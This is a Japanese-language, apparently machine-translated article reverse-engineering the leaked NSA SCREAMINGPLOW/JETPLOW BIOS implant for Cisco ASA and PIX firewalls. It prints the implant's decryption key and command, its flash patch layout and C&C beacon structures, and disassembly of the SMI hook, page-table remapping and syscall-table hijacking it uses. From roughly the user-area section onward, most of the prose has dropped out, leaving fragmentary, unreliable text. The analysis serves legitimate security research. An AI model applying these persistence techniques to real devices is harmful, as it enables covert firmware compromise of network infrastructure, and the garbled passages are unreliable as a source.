JETPLOWアーキテクチャ-コーヒースタンドのNSAバックドア

注目を集める絵







「標準的なブートキットをインプラントと呼ぶ、なんてエレガントな動きなのか」と私たちは考えました。

私たちの研究部門が高価なコーヒースタンド、つまりCisco製のいくつかのハードウェア(Catalyst 3850、Catalyst 6500スイッチ)(この「獣」のシェルコードを記述する手法に関するZeroNights 2015のレポートがありました)とゲートウェイを受け取ったとき、それはすべて1年前に始まりましたASA 5525-X画面。







ファイアウォールのいくつかのバグを見つけて、システムに「フォールスルー」し、標準シェル(開発者にタイムリーに通知された)を受け取ることができたので、影響について考えました-それが最大の損害を引き起こすほどひどいことができるかを考えました。 そして... 2013年にSnowdenによってマージされたNSAの秘密文書が役に立ちました。 彼らは、Cisco PIX 500シリーズとCisco ASA 5505、5510、5520、5540、5550シリーズをカバーするJETPLOWと呼ばれるPIXとASAのインプラントについて話しました。ご覧のとおり、NSAカタログにはサポートされているバージョンはありませんでした。 ASA 5525-Xを自由に使用できることに言及すると、PoCとして5525-Xシリーズの下に独自のインプラントを作成するというスポーツへの関心が生まれました。







ZeroNights 2016カンファレンスでASA 5525-Xの下でのインプラントのビジョンと実装について話し、そのソースコードをレイアウトします。 また、ボーナスとして、Catalyst 3850用の同様のインプラントの実装を示します。







5525-XはIntel x86_64アーキテクチャ上に構築され、UEFIを使用しているのに対し、Catalyst 3850はMIPS64アーキテクチャに基づいているため、ターゲット5525-X用に開発されたインプラントはJETPLOWとわずかに異なることに注意することが重要です。







シャドウブローカーのアーカイブ



公開以来、アーカイブの無料部分のコンテンツの分析に関する記事が多数あります( リンク1リンク2 )。 誰かが陰謀Q32



Q32



の一定の値を方程式グループと結び付け、誰かが単純にそれをQ32



、レイアウトされたエクスプロイトは古いバージョンのASAにしかヒットせず、脅威をもたらさないと無謀に述べました。







この作業では、誰がハッキングしたのか、誰がハッキングされたのかを推測するのではなく、防弾アンダーカバーゲームを無視することを提案します。シスコの機器(および他の同様の腺)のリバースエンジニアリングの経験と悪意のあるコードの分析に基づいて、冷血な技術分析を実施しますこのベンダーの機器用に設計されたインプラント自体( BANANAGLEE /ディレクトリを参照)。 結局のところ、アーカイブに提示されているファイルは、実際には以前に未公開の脆弱性に対する攻撃ツールのセットであり、ブートキットテクノロジーを使用した秘密情報の取得手段であるという事実が残っています。 一部のファイルが不足しているにもかかわらず、アーカイブ内のツールは正常に機能し、タスクを実行します。 ここでは、行われた作業量を賞賛せざるを得ません。







インプラントの分析に直接進む前に、インプラントがインストールされているターゲットハードウェア、つまりCiscoファイアウォールのアーキテクチャを検討する価値があります。







Ciscoファイアウォールとは



ASAおよびPIX



シスコのエコシステムは巨大で、規模が驚くほど単純です。 よく知られているオペレーティングシステムは数十個しかありません。









Linuxベースのものもあれば、QNXまたはBSDiベースのものもありますが、他の独自のOSもあります。 一般に、実際の動物園、およびプロデューサーの管理方法(または管理されていない方法)は謎のままです。 そして、これがさまざまなアーキテクチャでまだ機能することを忘れないでください:









出力は、デバイスのタイプの非常に複雑なマトリックスです。 プロセッサアーキテクチャは、プロセッサレベルでのセキュリティテクノロジーに依存し、デバイス保護の編成に使用できることを理解しておく必要があります。 ハードウェアのスタッフィングにより、保護技術はデバイスのアプリオリではない場合があります。 そのため、デバイスの腸で何が使用されているかを注意深く研究する必要があります。







今日は、PIX(Private Internet Exchange)とASA(Adaptive Security Appliance)の2つのハードウェアファイアウォールを検討します。これはPIXに取って代わりました。 両方の鉄片には、x86(IntelおよびAMD)互換アーキテクチャがあります。







ファイアウォールのダウンロード



ほとんどのCiscoデバイスと同様に、 ROMMON (ROMモニター)と呼ばれるブートストラップコードはファイアウォールでブートタスクを実行します。 ROMMONは、作業の最初にハードウェアコンポーネントを初期化するタスクを実行し、その後NVRAMから現在の設定を読み取りますROMモニタモード (confreg 0x00)に切り替える必要がない場合、 GRUBを使用してオペレーティングシステムのイメージ(拡張子.binのブートイメージ)をロードし、 NVRAMから読み取ったファイルの名前を転送します







ASA / PIXブートプロセスは次のようになります。







ASA / PIX Firewallブートプロセスのデータフロー







ブートイメージASAとPIXは、フラッシュドライブに保存されているファイルであり、 flash:/としてよく知られています。 ブートイメージの構造は次のようになります。







ASAおよびPIXブートメージの一般構造







ASAイメージの進化は、バージョン8.xx以降、シスコがLinuxに切り替えたという事実から明らかです。 さらに、例として、ブートasa831-k8.binの内容を考慮します(以下では、このイメージが選択された理由についてコメントします)。







 $ binwalk -B asa831-k8.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Cisco ASA MAINLDR 512 0x200 Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000 18432 0x4800 Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000 20682 0x50CA Unix path: /platform/asa/finesse/pci.c 73728 0x12000 Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020 79802 0x137BA Unix path: /platform/asa/finesse/pci.c 94208 0x17000 Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000 106110 0x19E7E gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10 1432976 0x15DD90 gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08 15454677 0xEBD1D5 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll 15881408 0xF254C0 Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718 15887378 0xF26C12 Unix path: /platform/asa/finesse/pci.c
      
      





rootfsを展開すると 、いくつかの興味深い機能を強調できます。







  1. 使用カーネル: Linuxバージョン2.6.29.6(builders @ ff-bldcheck-05)(gccバージョン4.0.2)#1 PREEMPT Thu Mar 4 15:59:06 MST 2010
  2. ファイアウォールファイルを含むディレクトリは/ tmp / asa831-k8-rootfs / asaです。
  3. メインの実行可能ファイルのパスは/ tmp / asa831-k8-rootfs / asa / bin / linaであり、 rootとして実行されます。
  4. ASLRの無効化を強制しました(記事の後半で、インプラント開発者がどのように使用するかについて説明します)。


 $ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common echo 0 > /proc/sys/kernel/randomize_va_space
      
      





ブートイメージのコンポーネントとブートシーケンス



MBRFirstLdrを考慮することは意味がありません。これらは、ダウンロードには一切関与せず、PIXのイメージのバージョンから拡張された初歩的なものです。







MBRを除くすべてのブートローダーには、次の構造で記述されるヘッダーがあります( a_midmagフィールドの値のみが異なります )。







 struct grub_aout32_header { grub_uint32_t a_midmag; /* htonl(flags<<26 | mid<<16 | magic) */ grub_uint32_t a_text; /* text segment size */ grub_uint32_t a_data; /* initialized data size */ grub_uint32_t a_bss; /* uninitialized data size */ grub_uint32_t a_syms; /* symbol table size */ grub_uint32_t a_entry; /* entry point */ grub_uint32_t a_trsize; /* text relocation size */ grub_uint32_t a_drsize; /* data relocation size */ };
      
      





Secondldr


署名あり(フィールド値a_midmag ): 0x0064010B







このブートローダーの動作について詳しく説明しない場合、 ROMMONtftpプロトコルを使用してイメージをブートするときにのみ使用されると言えます。 ROMMONは、 SecondLdrのオフセットと0x13FE0のヘッダーを考慮して、物理メモリ内のブート可能イメージを見つけ 、制御(1 *)を転送します 。 このブートローダーの主なタスクは、ダウンロードされたイメージの整合性を検証し、ターゲットプラットフォームのサポートを検証し、 0x100000のBootLdrから開始して、そのエントリポイント(2 *)に制御を移し、残りのイメージを再配置します。







Bootldr


このブートローダーのシグネチャは0x107です。主なタスクは、カーネルの起動準備、ターゲットプラットフォームのサポートの再確認、このプラットフォームの識別子の生成、StubLdr本体の0x13FE0への再配置 (ヘッダーを考慮)、制御の転送です(2) 。 計算されたプラットフォーム識別子へのポインタが引数として渡されます。







また、GRUB (1)はこのブートローダーに転送できます。これは、原則として、ロードアドレスに影響を与えません。







スタブラー


署名0x0064010Bがあり 、このローダーの主なタスクは、カーネルをアンパックしてロードすることです(3)







PIXのイメージ(イメージ6.2のバージョンから開始)の場合、カーネルにはBootLdrブートローダーに類似したヘッダーがあることに注意することが重要です。







ジェットプロー



用語については、アーカイブを分析するときに、 JETPLOWという名前がインプラントの初期バージョン(主にPIX)を示すために使用され、新しいバージョンはSCREAMINGPLOWと呼ばれ、最新バージョンの制御コンポーネントの一部は古いバージョンを部分的にサポートしていることに気付きました。







BannanaDaiquiri 3.1.2ユーティリティセット( BANANAGLEE / BG3121ディレクトリ )の最新バージョンと、それに含まれるScreamingPlowバージョン2.8( SCP28 )を分析しました。 ターゲット機器として、 ROMMONバージョン1.0(12)13のCisco ASA 5505ファイアウォールとバージョン8.3.1のブートイメージ(asa831-k8.bin)が選択されました。 多数のターゲットファイアウォールシリーズのサポートが含まれ、機能セットが拡張され、アーキテクチャが改善されたため、インプラントの最新バージョンを採用しました。







感染の方法



インプラントの設置が可能です:









いくつかの興味深い情報は、皮肉な形式で書かれた開発者のドキュメントから入手できます(たとえば、 screamplow-INSTALL.txtファイルを参照)。







アーカイブ内になく、tftp、ftp、およびhttp(s)プロトコルを使用してネットワーク経由でダウンロードされる特定のキー(エンジニアリング)ブートイメージimage.binに言及しています。







ドキュメントの例:







 copy tftp://[workstation IP]/image.bin flash:/image2.bin boot system image2.bin rel
      
      





初期の一連のファイアウォール、つまりPIXに感染した場合、開発者は、httpを使用してエンジニアリングイメージをダウンロードするために、Apache Webサーバー( OPS / apache_setup.shファイルとSCRIPTS / Apache_Setup.txtドキュメントを参照)の展開を自動化するスクリプトを慎重にオペレーターに提供します( s)。







エンジニアリングメージを使用して感染する







このエンジニアリングイメージは、いくつかの基本情報(シリーズ、 ROMMONバージョンなど)に基づいて、特定のターゲットファイアウォール用に個別に生成する必要があります。 さらに、画像を生成するとき、インプラントの識別子を示す必要があります。これは、感染したデバイスを区別し、それらと通信するために使用されます。







エンジニアリングイメージとのすべての対話は、ネットワーク(UDP 500)を介して行われます。 これには、いくつかのユーティリティが使用されます。









感染の主なタスクは、システムについて受け取った情報を考慮に入れてBIOSフラッシュイメージマップを作成し、生成されたデータをその後の感染のためにブートイメージ上のユーティリティに転送することです。







感染の準備



前述のように、 BannanaDaiquiriユーティリティの最新バージョンでは、 BPICKERユーティリティを使用してBIOSフラッシュイメージカードを作成します( BANANAGLEE / BG3121 / Install / LP / BPICKER-3100ファイルを参照)。 このユーティリティは、エンジニアリングイメージに接続した後、そこからターゲット機器に関する情報を受け取ります。 次に、それに基づいて、現在のディレクトリで、インプラントのコンポーネントを含む<platform_name>-moduledata-<bg_version>.tgz



という名前でアーカイブが検索されます。 残念ながら、アーカイブの公開部分にはasa-moduledata-3101.tgzファイルのみがあります 。 アーカイブを解凍すると、次のディレクトリ構造を確認できます。







 $ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101 asa-moduledata-3101 ├── asa #  xml-   pif (persistence information file),    BIOS Flash │  └── legacy ├── bin #     ScreamingPlow    ASA5505  ASAGen │  ├── asa5505 │  │  ├── legacy │  │  │  ├── SCP10 │  │  │  ├── SCP20 │  │  │  ├── SCP21 │  │  │  ├── SCP23 │  │  │  ├── SCP24 │  │  │  ├── SCP25 │  │  │  ├── SCP26 │  │  │  └── SCP27 │  │  └── SCP28 │  └── asaGen │  ├── legacy │  │  ├── SCP10 │  │  ├── SCP20 │  │  ├── SCP21 │  │  ├── SCP23 │  │  ├── SCP24 │  │  ├── SCP25 │  │  ├── SCP26 │  │  └── SCP27 │  └── SCP28 └── lib #  ,        
      
      





選択したインプラントバージョンでは、フラッシュBIOSイメージカードを含むファイルの名前はasa / asa5505_101213_install_SCP28.pifです。 pifファイルを復号化するためのキーは、 BPICKERユーティリティの分析を通じて見つけることができます。







 // `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080 uint8_t *key = (uint8_t *)malloc(29); *(uint32_t *)key = 0xC28AD3C7; *((uint32_t *)key + 1) = 0xD8CFDCC5; *((uint32_t *)key + 2) = 0xCCCBD8C9; *((uint32_t *)key + 3) = 0xD9C38ADE; *((uint32_t *)key + 4) = 0xC6DFCC8A; *((uint32_t *)key + 5) = 0xCCC58AC6; *((uint32_t *)key + 6) = 0xC6CFCF8A; key[28] = 0xD9; int i = 0; do { key[i] ^= 0xAA; ++i; } while (i <= 28); // key = "my hovercraft is full of eels"
      
      





選択したインプラントバージョンでは、インストール用にasa / asa5505_101213_install_SCP28.pifという名前のpifファイル、アンインストール用にasa / asa5505_101213_uninstall_SCP28.pifという名前のpifファイルが必要です。







次のように、アーカイブ内のすべてのpifファイルを復号化できます。







 find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' \;
      
      





復号化された xmlファイルasa5505_101213_install_SCP28.pifには次が含まれます。







 <?xml version="1.0" encoding="iso-8859-1"?> <platform xsi:noNamespaceSchemaLocation="versionFile.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" lib="libasa.so"> <name>asa5505</name> <version> <name>1.0(12)13 (no persistence detected)</name> <originalBios>bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin</originalBios> <signatureList><!-- Clean Signatures --> <signature> <!-- Sectors 6-7 --> <hash>67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19</hash> <address>fff60000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 8-F --> <hash>579d3ffa2fcb4d55a51b45747184a41656b88df2</hash> <address>fff80000</address> <length>0x80000</length> </signature> </signatureList> <validationList><!-- SCP Signatures --> <signature> <!-- CODE_AREA (aka SP Main) --> <hash>bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b</hash> <address>fff60000</address> <length>0xdf00</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature><!-- Sectors 8-F --> <hash>c4e5a42ddca3a977e6ba64075914d94a87ba1dfb</hash> <address>fff80000</address> <length>0x80000</length> </signature> </validationList> <patchList><!-- Install SCP --> <patch> <data src="inline" type="userarea">0</data> <!-- Assigned later --> <address>fff70000</address> <!-- SECOND_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data> <address>fff60000</address> <!-- FIRST_CODE_AREA_ADDRESS --> </patch> <patch> <data src="inline" type="pbd">0</data> <!-- Assigned later --> <address>fff6df00</address> <!-- FIRST_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data> <address>fffec480</address> <!-- SECOND_CODE_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data> <address>fffe18bf</address> <!-- HOOK_ADDRESS --> </patch> </patchList> </version> </platform>
      
      





コードからわかるように、このxmlファイルには、 ROMMONバージョン1.0(12)13「オンボード」のターゲットプラットフォームASA 5505を記述するプラットフォームのルート要素が含まれています。 このプラットフォームのBIOSについては、 patchList要素で説明されているパッチがあります。 それぞれに宛先アドレスがあり、ディスク上のファイルとコード(インライン)の2つのタイプに分けられます。







ユーザーデータに基づいたインラインパッチのコードは、 BPICKERユーティリティでロードされるlibasa.soプラットフォームのライブラリ( プラットフォームルート要素のlib属性を参照)を使用して生成されます。







この段階では、 BannanaDaiquiriに含まれる以前のバージョンのユーティリティでは、BIOSフラッシュカードの形成は感染自体で直接行われ、 ファイルタイプコンポーネントへのパスが厳密に規定されていたことは注目に値します







感染とその後の検証



感染者が実行する感染プロセス全体は、構成されたパッチをエンジニアリングイメージに順次送信することで構成されます。 validationList要素の内容に基づいて、効果の正当性を検証するために、メモリセクションの繰り返し読み取りが実行され、続いて読み取られたデータのハッシュ和が計算されます。 signatureListの要素は、ターゲットシステムが感染していないこと、またはインプラントの除去が成功したことを確認するために使用されます。







以下の画像は、感染前後のFlash BIOSの外観を示しています。







感染前後のBIOSフラッシュASA 5505







インプラント部品の分析



asa5505_101213_install_SCP28.pif xmlファイルの上記の内容から、インプラント自体は4つの主要な部分で構成されていることがわかります







プランニング部品







さらに、簡潔にするために、 FCA、SCA、FUA 、およびSUAの略語を使用して、インプラントの対応する部分を示します。 フックはおそらくHookのままです。







次に、各コンポーネントを検討します。 これは、インプラントがそれらを使用する順序と逆の順序で行います。これにより、イベントの連鎖を壊さずに、最も簡単になります。







2番目のユーザー領域(SUA @ 0xFFF70000)



この部分はインプラントの主要で唯一のペイロードであり、実際には残りの部分はすべてローダーです。 SUAには、インプラントペイロードコード(A)と、ペイロードコードが動作する環境を記述するいくつかのサポート情報(B)が含まれています。







ペイロードコードは、コマンドサーバー(C&Cサーバー)との通信を確立するために使用されます。







サポート情報には、たとえば次が含まれます。









サポート情報は、 libasa.soライブラリの分析の結果として得られた定義の構造の複合体としてSUAに格納され、次のようになります。







 /* User Area Directory */ struct { uint32_t magic; /* UA_DIR signature is 0xD13EC703 */ uint32_t os8_off; /* OS8_INFO offset relative to UA_DIR start address */ uint32_t bg_gen_off; /* BG_GEN_INFO offset relative to UA_DIR start address */ uint32_t bg_os_off; /* BG_OS_INFO offset relative to UA_DIR start address */ } UA_DIR; /* ASA OS xxx Info */ struct { uint32_t magic; /* OS8_INFO signature is 0xDECAFBAD */ struct { uint32_t version; uint32_t address; } records[0]; } OS8_INFO; /* BANANAGLEE Gen? Info */ struct { struct { uint32_t magic; /* BG_GEN_INFO signature is 0xBA9A61EE*/ uint32_t data_size; } header; uint32_t unknown; /* observed to be zero */ uint32_t imp_version; /* implant version */ } BG_GEN_INFO; /* BANANAGLEE OS Info */ struct { uint32_t magic; /* BG_OS_INFO signature is 0xBA9A61EE*/ uint32_t size; /* BG_OS_INFO data size */ uint32_t page_size; uint32_t version; /* lina/malina version this info is about */ uint32_t bg_glob_addr; uint32_t malloc_addr; /* allocation routine address */ uint32_t sync_addr; uint32_t checkheap_addr; uint32_t imp_version; /* implant version major */ uint32_t unknown; /* maybe checksum */ void* addr_ptr_list[0]; /* various information regarding the given version of the main process */ } BG_OS_INFO; /* will be stored as an array where each element describes one particular version */
      
      





:







  1. UA_DIR – , SUA .
  2. OS8_INFO – , , . , lina (8.xx ), ( – OS8 ). malina (7.xx) 0x100040 .
  3. BG_GEN_INFO – , .
  4. BG_OS_INFO – , , .


UA_DIR, OS8_INFO, BG_GEN_INFO SUA , . BG_OS_INFO , , SUA , . , .







.dat , - (. BANANAGLEE/BG3121/Dats/*.dat ).







SUA bin/BG_312_SCREAM_UA_full_support.bin .







First User Area (FUA @ 0xFFF6DF00)



, PBD, PBD Header (A) , userarea (B) .







userarea , SUA BG_OS_INFO , . SUA BG_OS_INFO , userarea . , SP Main .







:







ユーザーエリアのブートローダーメカニズム







, SUA – , FUA , userarea .







PBD Header FUA 256 . PBD Header :







 struct PBD_Header { struct KEY { uint16_t CHECKS_CONSTANTS[10]; // Constants for quick selection Beacon-packets uint8_t key1[8]; // First part of RC6-key for ecrypt Benign-packets in session uint8_t key2[8]; // Second part of RC6-key uint8_t challenge[16]; uint8_t default_key1[8]; // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets uint8_t default_key2[8]; // Second part of RC6-key uint8_t CV[8]; } key; uint32_t implantID; struct BEACON { uint32_t beacon_count; // Total number of beacons to send uint32_t primary_delay; // Seconds to delay first beacon uint32_t secondary_delay; // Seconds to delay subsequent beacons uint32_t min_delay; uint32_t max_delay; uint16_t min_src_port; // 0x00 by default uint16_t max_src_port; // 0xFFFF by default uint32_t beacon_primary_IP; // First IP address for beacon destination uint32_t beacon_secondary_IP; // Second IP address for beacon destination char domain_name[8]; // DNS beacon domain name ("yahoo" by default) } beacon; };
      
      





PBD Header , C&C (IP-, , "" ..). FUA , , bin/BG_312_PBD_config_CLEAN.bin .







First Code Area (FCA @ 0xFFF60000)



3 :









FCA bin/asa5505/SCP28/asa5505_patch60000.bin .







Second Code Area (SCA @ 0xFFFEC480)



SCA SMI -, . – FCA, FUA SUA SP Main FCA .







SCA bin/asa5505/SCP28/asa5505_patchEC480.bin .







Hook (@ 0xFFFE18BF)



BIOS, SMI - SMRAM :







感染前後のBIOSコード







Hook ' – SMRAM SMI - SCA . , , , SMI .







Hook 'a bin/asa5505/SCP28/asa5505_patchE18BF.bin .











BIOS ' SMI SMRAM . , , SCA . , SCA #SMI . , ICH/PCH #SMI , SCA , . SCA , . , - , SCA #SMI , :







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4 _exit: jmp far ptr 0:0 ; jmp address @ SMBASE + 0x80A5 ; Has been replaced by `mov word [0xc527], cx` ; where CX contains the original SMI handler EP and ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1
      
      





, , #SMI SCA . , , SCA / .







, SCA :









 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D ; ... mov eax, fs:_ss_cr0 and eax, 1 cmp eax, 0 jz wait ; exit if PM is not enabled mov eax, fs:_ss_cr0 mov ebx, cr3 and eax, 80000000h cmp eax, 0 jz wait ; exit if PG is not enabled cmp ebx, 0 jz wait ; exit if cr3 is zero sidt fword ptr ds:0DC5F7h ; _idt @ 0xC5F7 mov eax, ds:0DC5F9h ; eax <- IDT.Base cmp eax, 0 jz wait ; exit if IDT is not initialized yet cmp byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF jz short stage_00 mov byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF push large 0 ; a0 call large _setup_alarm_interrupt add esp, 4 cmp eax, 0 jnz short stage_00 jmp restore_exit ; ...
      
      





, / , , .









: SP Main SP Main , BIOS Flash.







SCA , – ASA PIX. .







BootLdr , 0x100000 ( 0x100000 ).







8 MiB – PIX, ASA.







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E ; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero) ; ... mov dword ptr [esp], 100000h ; malina bootloader real time va call large va2pa test eax, eax jz short guess_lina cmp eax, 100000h ; malina bootloader is located @ VA 0x100000 PA 0x100000 jnz short guess_lina mov [ebp+var_C], 100000h mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_midmag], 107h ; bootloader magic jnz short guess_lina mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_text], 7FFFFFh ; bootloader + malina size jbe short guess_lina ; can't be lass than 8 MiB ; ... jmp guess_malina ; ...
      
      





malina (PIX)



, , , ASA lina , malina . , SP Main , ( ), , malina .







, SCA BIOS Flash . SCA Page Directory , Page Table 4- MiB 32- ( BIOS Flash Map ).







Page Table Entry , user space BIOS Flash Map .







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B ; int __cdecl map_bios_flash_manually(int cr3, int cr4) ; ... mov eax, [ebp+cr3] ; ... and eax, 0FFFFF000h ; eax <- paging directory lea ebx, [eax+0FFCh] ; last pd entry addr mov edx, [eax+0FFCh] ; last pd entry value ; ... mov eax, edx or eax, 2 ; set pde permissions to RW mov [ebx], eax ; write PDE back mov esi, 1 mov edi, 0 mov ebx, edx and ebx, 0FFFFF000h ; ebx <- PT pa loc_DD2B5: mov edx, 0FFF00000h loc_DD2BB: lea ecx, [edx+7] ; ecx <- 0xFFF00007 mov eax, edx and eax, 3FF000h ; eax <- 0x300000 shr eax, 0Ah ; eax <- 0xC00 lea eax, [ebx+eax] ; eax <- PTE pa which is PT pa + 0xC00 test esi, esi jz short loc_DD2DD test byte ptr [eax], 1 ; is present? jnz short _exit_err loc_DD2DD: mov [eax], ecx ; set PTE value add edx, 1000h ; move to next page cmp edx, 0FFF80000h ; done? jnz short loc_DD2BB add edi, 1 mov esi, 0 cmp edi, 2 jnz short loc_DD2B5 mov eax, cr3 mov cr3, eax mov eax, 1 jmp short _exit_ok ; ...
      
      





SCA , 55 53 65 57 , push ebp, ebx, esi, edi . malina ( 7.2.2 PIX):







 ; `pix722.bin/malina.bin` @ 0x100110 _td_ctx_enter proc near ; CODE XREF: sub_113890+1F4 push ebp ; the search pattern is `55 53 56 57` push ebx push esi push edi mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov ebp, [eax+20h] mov ebx, [eax+24h] mov esi, [eax+28h] mov edi, [eax+2Ch] retn _td_ctx_enter endp
      
      





_td_ctx_enter _td_ctx_exit , SCA :







 ; `pix722.bin/malina.bin` @ 0x100130 _td_ctx_exit proc near ; CODE XREF: sub_1131B0:loc_1131DD mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov [eax+20h], ebp mov [eax+24h], ebx mov [eax+28h], esi mov [eax+2Ch], edi pop edi pop esi pop ebx pop ebp retn _td_ctx_exit endp
      
      





.







, "duart_open", "malloc" "CHECKHEAPS...", SCA malloc checkheaps . malloc FCA FUA BIOS Flash RAM. checkheaps , , SCA :







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357 ;... lea eax, ds:0DC60Dh ; _td_ctx_ptr @ 0xC60D push eax ; td_ctx_ptr call large _find_td_ctx_enter add esp, 4 cmp eax, 0 ; eax <- _td_ctx_enter() ptr jz clear_alarm_restore_exit mov ds:0DC5FDh, eax ; _td_ctx_enter_ptr @ 0xC5FD mov edx, fs:dword_DFFF0 mov ebx, eax mov ecx, 1Ch add ebx, ecx cmp edx, eax jb short loc_DC39A cmp edx, ebx jnb short loc_DC39A add eax, 20h ; ' ' ; calculate _td_ctx_exit addr loc_DC39A: mov ds:0DC609h, eax ; _td_ctx_exit_ptr @ 0xC609 call large _find_malloc cmp eax, 0 jz clear_alarm_restore_exit mov ds:0DC601h, eax ; _malloc_ptr @ 0xC601 mov ebx, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 0Bh add ebx, ecx ; ebx = 0x10013B sub eax, ebx ; calculate malloc offset relative to call insn address lea edx, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov [edx+7], eax ; call 0x12345678 ; ^^^^^^^^^^ <- eax = malloc() ptr mov eax, cr4 push eax mov eax, cr3 push eax call large _make_malina_text_rwx add esp, 8 cmp eax, 0 jz clear_alarm_restore_exit call large _patch_checkheaps ;...
      
      





, checkheaps , SCA , , , . SCA _td_ctx_exit :







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404 ;... lea edi, ds:0DC62Dh ; _td_ctx_exit_code @ 0xC62D mov esi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 24h ; '$' rep movs byte ptr es:[edi], byte ptr [esi] mov edi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 lea esi, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov ecx, 1Ch rep movs byte ptr es:[edi], byte ptr [esi] wbinvd mov byte ptr ds:0DC5F0h, 1 ; _main_proc_infected @ 0xC5F0, 0x0000 ;...
      
      





:







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611 ;... pushal push 0x10000 call malloc ; allocate 64 KiB for FCA and FUA push eax ; pass ptr to allocated memory via stack mov dx, 0xcf8 mov eax, 0x800078d0 out dx, eax add edx, 4 mov al, 0x43 out dx, al ; pass control back to SCA ;...
      
      





64 KiB FCA FUA , SCA #SMI , FCA FUA .







, SCA , _td_ctx_exit SP Main . , 0x25E FCA .







:







マリーナへの浸透プロセスの一般的なスキーム







SP Main . , , , SP MainSUA (userarea) .







SP Main userarea , FUA . , , SP Main – . , SP Main " ", .







lina (ASA)



, SCA : SP Main BIOS Flash user space . – mmap2 syscall_table . , SCA , .







syscall_table sysenter_entry , int 0x80 (syscall). int 0x80 IDT , 0x400 IDT .







 ; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x82F ; int __cdecl _fca_inject_lina(int a0, int a1, int cr3, int cr4, int zero, int idt_base) ; ... mov eax, [ebp+idt_base] mov [esp], eax ; va call large _va2pa test eax, eax ; eax = IDT phys addr jz exit_bad mov edx, [eax+404h] ; 0x404int 0x80 interrupt descriptor offset LO part mov dx, 0 movzx eax, word ptr [eax+400h] ; 0x400int 0x80 interrupt descriptor offset LO part mov ebx, edx or ebx, eax ; ebx <- int 128 handler va ; ... call large _va2pa mov [ebp+int80_handler_pa], eax ; ... mov edx, [ebp+int80_handler_pa] cmp byte ptr [edx], 0FFh ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; which stands for `call *sys_call_table(,%eax,4)` ; see sysenter_entry() at `arch/i386/kernel/entry.S` jnz short loop2_cont cmp byte ptr [edx+1], 14h jnz short loop2_cont cmp byte ptr [edx+2], 85h ; ... mov eax, [edx+3] ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; ^^^^^^^^^^^ -> eax = syscall_table VA add eax, 300h ; 300h is sys_mmap2 handler ptr offset relative to syscall_table base mov [esp+_va], eax call large va2pa mov [ebp+sys_mmap2_pa], eax ; ... mov ebx, [ebp+orig_sys_mmap2_handler_va] mov edi, [ebp+kernel_rm_code_pa] mov esi, 0FFF60000h ; FCA flash address mov ecx, 87h ; SP sys_mmap2 code size rep movs byte ptr es:[edi], byte ptr [esi] ; it is safe to store SP sys_mmap2 code ; in the kernel real-mode part of code ; 'cause by the time the sys_mmap2 will be called ; that code will not be called anymore mov edx, [ebx] mov eax, [ebp+kernel_rm_code_pa] mov [eax+83h], edx ; store original 